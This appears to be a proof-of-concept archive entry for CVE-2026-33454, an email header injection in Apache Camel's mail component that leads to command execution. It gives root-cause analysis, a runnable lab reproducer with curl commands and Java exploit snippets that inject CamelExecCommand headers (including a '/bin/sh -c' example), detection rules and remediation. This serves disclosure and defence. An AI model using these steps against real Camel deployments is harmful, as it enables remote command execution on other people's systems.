PoC Archive PoC Archive
CVE-2026-33454 / CAMEL-23222 category: network CVSS 9.4 (CRITICAL)
Patched

Apache Camel camel-mail Header Injection to RCE - CVE-2026-33454

Published: 2026-11-27 • Researcher: Andrea Cosentino (oscerd), repo author; vulnerability reported by Hyunwoo Kim (@v4bel)

Target software Apache Camel, camel-mail component (MailHeaderFilterStrategy and MailBinding)
Affected versions 3.0.0 to before 4.14.6, and 4.15.0 to before 4.18.1 (fixed in 4.14.6, 4.18.1, and 4.19.0)
Status Weaponized
Severity Critical · CVSS 9.4
CVSS 9.4/10
Severity
Critical
CVE
CVE-2026-33454 / CAMEL-23222
Category
network
Affected product
Apache Camel, camel-mail component (MailHeaderFilterStrategy and MailBinding)
Affected versions
3.0.0 to before 4.14.6, and 4.15.0 to before 4.18.1 (fixed in 4.14.6, 4.18.1, and 4.19.0)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-06
Author / ResearcherAndrea Cosentino (oscerd), repo author; vulnerability reported by Hyunwoo Kim (@v4bel)
CVE / AdvisoryCVE-2026-33454 / CAMEL-23222
Categorynetwork
SeverityCritical
CVSS Score9.4 (CVSSv3.1, per NVD record)
StatusWeaponized
TagsApache Camel, camel-mail, header injection, MIME headers, IMAP, camel-exec, RCE, CWE-1173, CWE-502, Java, Spring Boot
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Camel, camel-mail component (MailHeaderFilterStrategy and MailBinding)
Versions Affected3.0.0 to before 4.14.6, and 4.15.0 to before 4.18.1 (fixed in 4.14.6, 4.18.1, and 4.19.0)
Language / PlatformJava 17+, Spring Boot 3.2.0, Camel 4.18.0 in the bundled reproducer, GreenMail 2.1.0 mail server
Authentication RequiredNo to the affected application; the attacker needs the ability to send email to the monitored mailbox
Network Access RequiredYes (SMTP to the mailbox, and the application polls IMAP/POP3)

Summary

Apache Camel’s mail component maps inbound MIME headers into the Camel message, and the filter meant to strip Camel control headers was configured for the outbound direction only. An attacker who can send an email to a monitored mailbox can therefore set headers such as CamelExecCommandExecutable and CamelExecCommandArgs, which are honoured by the exec producer downstream. This repository is a runnable reproducer: GreenMail provides the mailbox, a Spring Boot application consumes it over IMAP and invokes a fixed harmless command, and a controller plays the attacker by delivering the malicious mail. The result is arbitrary command execution on the machine hosting the application.

Vulnerability Details

Root Cause

MailHeaderFilterStrategy extends DefaultHeaderFilterStrategy, and in affected versions its constructor calls setOutFilterStartsWith for the Camel prefix but never calls setInFilterStartsWith. When MailBinding.extractHeadersFromMail enumerates the MIME headers of a consumed message, each header is tested with applyFilterToExternalHeaders, whose inbound path consults the in filter. Because that filter was never configured, nothing matches, the check is skipped, and every Camel-prefixed MIME header is copied into the Exchange In headers alongside ordinary mail metadata. Downstream components resolve their own control headers from the Exchange, so a header supplied by the email sender takes over behaviour the route author never intended to expose.

Attack Vector

Deliver an email to the mailbox monitored by a Camel route such as from imap://host:3143, with MIME headers named CamelExecCommandExecutable and CamelExecCommandArgs. The bundled ExploitController does this over SMTP through jakarta.mail, but any mail client or raw SMTP session works. The route must forward to a header-sensitive producer, or otherwise resolve producer configuration from headers, without stripping Camel headers in between.

Impact

Arbitrary OS command execution as the user running the Camel application when the route reaches camel-exec. The advisory and the upstream notes extend the same primitive to camel-file for arbitrary file writes and path traversal through CamelFileName, to camel-bean for method selection through CamelBeanMethodName, and to camel-sql through query control headers. Because the trigger is an ordinary email, the attacker needs no network position against the application itself, only an address that a mail route reads.

Environment / Lab Setup

Output
OS:          Linux, macOS, or Windows with Docker and a JDK
Target:      The bundled Spring Boot application with Camel 4.18.0 and a route consuming IMAP
Attacker:    The bundled /exploit controller, or any SMTP client able to add custom MIME headers
Tools:       Java 17+, Maven 3.8+, Docker, curl, jakarta.mail

Setup Steps

Shell script
1
2
3
4
5
6
docker compose up -d

mvn clean package -DskipTests
mvn spring-boot:run

docker compose down

The victim route uses imap://127.0.0.1:3143 with username victim and password secret, delete=true and unseen=true, and forwards to exec:echo?args=hello.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab - Bring up GreenMail and the application as described above, then confirm the consumer is polling without errors.

  2. Send a benign message - Establish the baseline where the route runs its configured command.

    Shell script
    1
    
    curl http://localhost:8080/exploit/normal
  3. Send the malicious message - The email carries exec override headers; the default payload touches a file to prove execution.

    Shell script
    1
    
    curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/pwned"
  4. Confirm the sink fired - Wait a couple of seconds for the IMAP poll cycle and check for the file.

    Shell script
    1
    
    sleep 3; ls -l /tmp/pwned
  5. Try another command - Any executable and argument string can be supplied the same way, for example an id redirect through a shell.

    Shell script
    1
    
    curl "http://localhost:8080/exploit/attack?exe=/bin/sh&args=-c%20id%20%3E%20/tmp/camel-id"

Exploit Code

See src/main/java/com/example/ExploitController.java (attacker side) and src/main/java/com/example/MailExecRoute.java (victim route) in this folder.

Java source
1
2
3
4
5
6
7
// attacker: the injected MIME headers are ordinary mail headers
send("attacker@evil.example", VICTIM, "pwn", "hello",
     Map.of("CamelExecCommandExecutable", exe, "CamelExecCommandArgs", args));

// victim route in affected versions: no in filter, no header stripping
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")

Expected Output

Output
$ curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/pwned"
Sent a malicious email to victim@localhost with injected MIME headers:
  CamelExecCommandExecutable: /usr/bin/touch
  CamelExecCommandArgs: /tmp/pwned

$ sleep 3; ls -l /tmp/pwned
-rw-r--r-- 1 user user 0 <date> /tmp/pwned

The route log also shows the exec producer output in place of the expected echo hello, which confirms the header override took effect.

Detection & Indicators of Compromise

Output
CamelExecCommandExecutable:
CamelExecCommandArgs:
CamelFileName:
CamelBeanMethodName:

SIEM / IDS Rule (example):

Output
alert smtp any any -> any any (msg:"Camel header injection delivery (CVE-2026-33454)"; content:"CamelExecCommand"; nocase; sid:9003345;)

Remediation

ActionDetail
PatchUpgrade to Camel 4.14.6, 4.18.1, or 4.19.0, where MailHeaderFilterStrategy configures the in filter with the Camel prefix plus the mail.smtp and mail.smtps prefixes.
WorkaroundAdd removeHeaders(“Camel*”) immediately after the mail consumer, or avoid header-sensitive producers such as camel-exec, camel-file, camel-bean, and camel-sql downstream of untrusted mail.
Config HardeningRestrict who can deliver to monitored mailboxes with SPF, DKIM, and allowlists; remove the exec component entirely where it is not required; log and alert on Camel-prefixed headers in delivered mail.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/oscerd/CVE-2026-33454 (stars 1, Java reproducer maintained by an Apache Camel committer).

Review verdict: ingested. The repository is a complete, runnable reproducer rather than a scan or a write-up: the route genuinely consumes IMAP and forwards to exec, the controller genuinely delivers mail with Camel control headers, and the README documents verification by observing the created file. No malicious capability beyond a harmless touch is shipped; it is a lab reproducer, so it is marked Weaponized because the exploit path is fully implemented end to end.

License: the upstream repository has no LICENSE file and no explicit license statement; copyright remains with the author. Attribution and the source URL are retained. Docker Compose and the Maven metadata were copied because they are required to reproduce the lab.

Limitations: the reproducer is fixed to localhost SMTP and IMAP ports and to the victim account, so adapting it to a real target means changing the send host and port in ExploitController and the broker URI in MailExecRoute. Success depends on the route reaching a header-sensitive producer with no header stripping, which many production routes already avoid. The bundled application is not itself a mail server attack: it simulates the attacker as a convenience controller, and any external SMTP client can send the same two headers. No exploit code was executed while preparing this entry.